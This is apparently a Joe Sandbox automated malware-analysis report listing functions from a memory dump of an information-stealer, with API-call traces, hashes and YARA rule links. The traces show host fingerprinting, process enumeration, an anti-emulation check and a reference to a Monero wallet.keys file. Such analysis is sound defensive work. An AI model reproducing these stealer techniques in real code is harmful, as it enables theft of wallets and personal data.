StrCmpCA.SHLWAPI(00000000,00898B70), ref: 00F2079A
StrCmpCA.SHLWAPI(00000000,00898B50), ref: 00F20866
StrCmpCA.SHLWAPI(00000000,00898B90), ref: 00F2099D

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: b00498ba4d2e36a4d15f8f1ba43f5eea4b7826976668cfe3ed0755475cb09a84
Instruction ID: 49a88b92cfe56acd4e283801a3dc1b5356ce264c5fa6374c15ac4a6479c6b47b
Opcode Fuzzy Hash: b00498ba4d2e36a4d15f8f1ba43f5eea4b7826976668cfe3ed0755475cb09a84
Instruction Fuzzy Hash: 22917875A10208DFCB28EF64DD92BED77B5FF94300F408529E8098F246EB349A45DB92

Function 00F20765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00898B70), ref: 00F2079A
StrCmpCA.SHLWAPI(00000000,00898B50), ref: 00F20866
StrCmpCA.SHLWAPI(00000000,00898B90), ref: 00F2099D

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 36f007b67b669a0c6346b1f18477c71d020195ea219b785afdb6eb8aa82f82eb
Instruction ID: 169655c7e15c440451b492a5da964725c8012dd9f3084dcfc0ba61d946722f27
Opcode Fuzzy Hash: 36f007b67b669a0c6346b1f18477c71d020195ea219b785afdb6eb8aa82f82eb
Instruction Fuzzy Hash: 42815775B10208DFCB28EF64DD91AEDB7B5FF94300F508529E8099F246DB34AA05DB82

Function 00F270D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

memset.MSVCRT ref: 00F2716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00F2718C

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 22330d58148c53ac5db85bdac87214162a65cc88211462ef92f699cb44cc65ef
Instruction ID: 723b81e5410e0036e3af8ec0d1ee926cfd9447fa38fd368cc791ed1997ad5780
Opcode Fuzzy Hash: 22330d58148c53ac5db85bdac87214162a65cc88211462ef92f699cb44cc65ef
Instruction Fuzzy Hash: A45161B1C04328DBDB14EB90ED95BEEB374AF44314F2041A8E51577181EB786E88EF55

Function 00F29470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F29484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00F294A5
CloseHandle.KERNEL32(00000000), ref: 00F294AF

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 1846f50ef52e3798d4c768460138f1ed240e4efacf9c2ee9fb89f88c0f008a7d
Instruction ID: dbb88424b93b508b2a4ee65a70908b634be3bfa899b2be7d7c40771f5a35ef6b
Opcode Fuzzy Hash: 1846f50ef52e3798d4c768460138f1ed240e4efacf9c2ee9fb89f88c0f008a7d
Instruction Fuzzy Hash: 70F03A7494020CEBDB18EFA4E84AFE97778EB08311F004598BA1997280D6B46AC5DB90

Function 00F11110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F1112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00F11132
ExitProcess.KERNEL32 ref: 00F11143

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 29688e0fa83c28e5c18db0defbfc8f7192b967438ec9a359052728d6a2afe2ab
Instruction ID: bf025557a68b108a47354d77dd1e603fea4e4318804dc88d017cdfb0271765d0
Opcode Fuzzy Hash: 29688e0fa83c28e5c18db0defbfc8f7192b967438ec9a359052728d6a2afe2ab
Instruction Fuzzy Hash: C3E0E670D85308FBE724ABA0AC0AB497A7CAF04B12F104154F719775C4D6B526809799

Function 00F21A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F27500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F27542
Part of subcall function 00F27500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F2757F
Part of subcall function 00F27500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27603
Part of subcall function 00F27500: RtlAllocateHeap.NTDLL(00000000), ref: 00F2760A

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F27690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F276A4
Part of subcall function 00F27690: RtlAllocateHeap.NTDLL(00000000), ref: 00F276AB

Part of subcall function 00F277C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00F2DBC0,000000FF,?,00F21C99,00000000,?,0089D398,00000000,?), ref: 00F277F2
Part of subcall function 00F277C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00F2DBC0,000000FF,?,00F21C99,00000000,?,0089D398,00000000,?), ref: 00F277F9

Part of subcall function 00F27850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F111B7), ref: 00F27880
Part of subcall function 00F27850: RtlAllocateHeap.NTDLL(00000000), ref: 00F27887
Part of subcall function 00F27850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F2789F

Part of subcall function 00F278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27910
Part of subcall function 00F278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F27917
Part of subcall function 00F278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F2792F

Part of subcall function 00F27980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F30E00,00000000,?), ref: 00F279B0
Part of subcall function 00F27980: RtlAllocateHeap.NTDLL(00000000), ref: 00F279B7
Part of subcall function 00F27980: GetLocalTime.KERNEL32(?,?,?,?,?,00F30E00,00000000,?), ref: 00F279C4
Part of subcall function 00F27980: wsprintfA.USER32 ref: 00F279F3

Part of subcall function 00F27A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0089DBB0,00000000,?,00F30E10,00000000,?,00000000,00000000), ref: 00F27A63
Part of subcall function 00F27A30: RtlAllocateHeap.NTDLL(00000000), ref: 00F27A6A
Part of subcall function 00F27A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0089DBB0,00000000,?,00F30E10,00000000,?,00000000,00000000,?), ref: 00F27A7D

Part of subcall function 00F27B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0089DBB0,00000000,?,00F30E10,00000000,?,00000000,00000000), ref: 00F27B35

Part of subcall function 00F27B90: GetKeyboardLayoutList.USER32(00000000,00000000,00F305AF), ref: 00F27BE1
Part of subcall function 00F27B90: LocalAlloc.KERNEL32(00000040,?), ref: 00F27BF9
Part of subcall function 00F27B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00F27C0D
Part of subcall function 00F27B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00F27C62
Part of subcall function 00F27B90: LocalFree.KERNEL32(00000000), ref: 00F27D22

Part of subcall function 00F27D80: GetSystemPowerStatus.KERNEL32(?), ref: 00F27DAD

GetCurrentProcessId.KERNEL32(00000000,?,0089D3F8,00000000,?,00F30E24,00000000,?,00000000,00000000,?,0089DB80,00000000,?,00F30E20,00000000), ref: 00F2207E

Part of subcall function 00F29470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F29484
Part of subcall function 00F29470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00F294A5
Part of subcall function 00F29470: CloseHandle.KERNEL32(00000000), ref: 00F294AF

Part of subcall function 00F27E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27E37
Part of subcall function 00F27E00: RtlAllocateHeap.NTDLL(00000000), ref: 00F27E3E
Part of subcall function 00F27E00: RegOpenKeyExA.KERNEL32(80000002,0088B930,00000000,00020119,?), ref: 00F27E5E
Part of subcall function 00F27E00: RegQueryValueExA.KERNEL32(?,0089D158,00000000,00000000,000000FF,000000FF), ref: 00F27E7F
Part of subcall function 00F27E00: RegCloseKey.ADVAPI32(?), ref: 00F27E92

Part of subcall function 00F27F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00F27FC9
Part of subcall function 00F27F60: GetLastError.KERNEL32 ref: 00F27FD8

Part of subcall function 00F27ED0: GetSystemInfo.KERNEL32(00F30E2C), ref: 00F27F00
Part of subcall function 00F27ED0: wsprintfA.USER32 ref: 00F27F16

Part of subcall function 00F28100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0089DDC0,00000000,?,00F30E2C,00000000,?,00000000), ref: 00F28130
Part of subcall function 00F28100: RtlAllocateHeap.NTDLL(00000000), ref: 00F28137
Part of subcall function 00F28100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00F28158
Part of subcall function 00F28100: __aulldiv.LIBCMT ref: 00F28172
Part of subcall function 00F28100: __aulldiv.LIBCMT ref: 00F28180
Part of subcall function 00F28100: wsprintfA.USER32 ref: 00F281AC

Part of subcall function 00F287C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F30E28,00000000,?), ref: 00F2882F
Part of subcall function 00F287C0: RtlAllocateHeap.NTDLL(00000000), ref: 00F28836
Part of subcall function 00F287C0: wsprintfA.USER32 ref: 00F28850

Part of subcall function 00F28320: RegOpenKeyExA.KERNEL32(00000000,0089AAA0,00000000,00020019,00000000,00F305B6), ref: 00F283A4

Part of subcall function 00F28320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F28426
Part of subcall function 00F28320: wsprintfA.USER32 ref: 00F28459
Part of subcall function 00F28320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F2847B
Part of subcall function 00F28320: RegCloseKey.ADVAPI32(00000000), ref: 00F2848C
Part of subcall function 00F28320: RegCloseKey.ADVAPI32(00000000), ref: 00F28499

Part of subcall function 00F28680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F305B7), ref: 00F286CA
Part of subcall function 00F28680: Process32First.KERNEL32(?,00000128), ref: 00F286DE
Part of subcall function 00F28680: Process32Next.KERNEL32(?,00000128), ref: 00F286F3
Part of subcall function 00F28680: CloseHandle.KERNEL32(?), ref: 00F28761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00F2265B

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 9df69d3b3391345265836f96e6e607868b2576d942c0687ea5e81a8abaf89c79
Instruction ID: 9ca107dfcc88830acb5fd51f6e88280106fb4f3f83b1b8ad3551af1391bd6cc2
Opcode Fuzzy Hash: 9df69d3b3391345265836f96e6e607868b2576d942c0687ea5e81a8abaf89c79
Instruction Fuzzy Hash: 2A725172C11128ABDB19FB90FCA2DDE733CAF14300F5046A9F11666092EF346B99DB65

Function 00F16D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
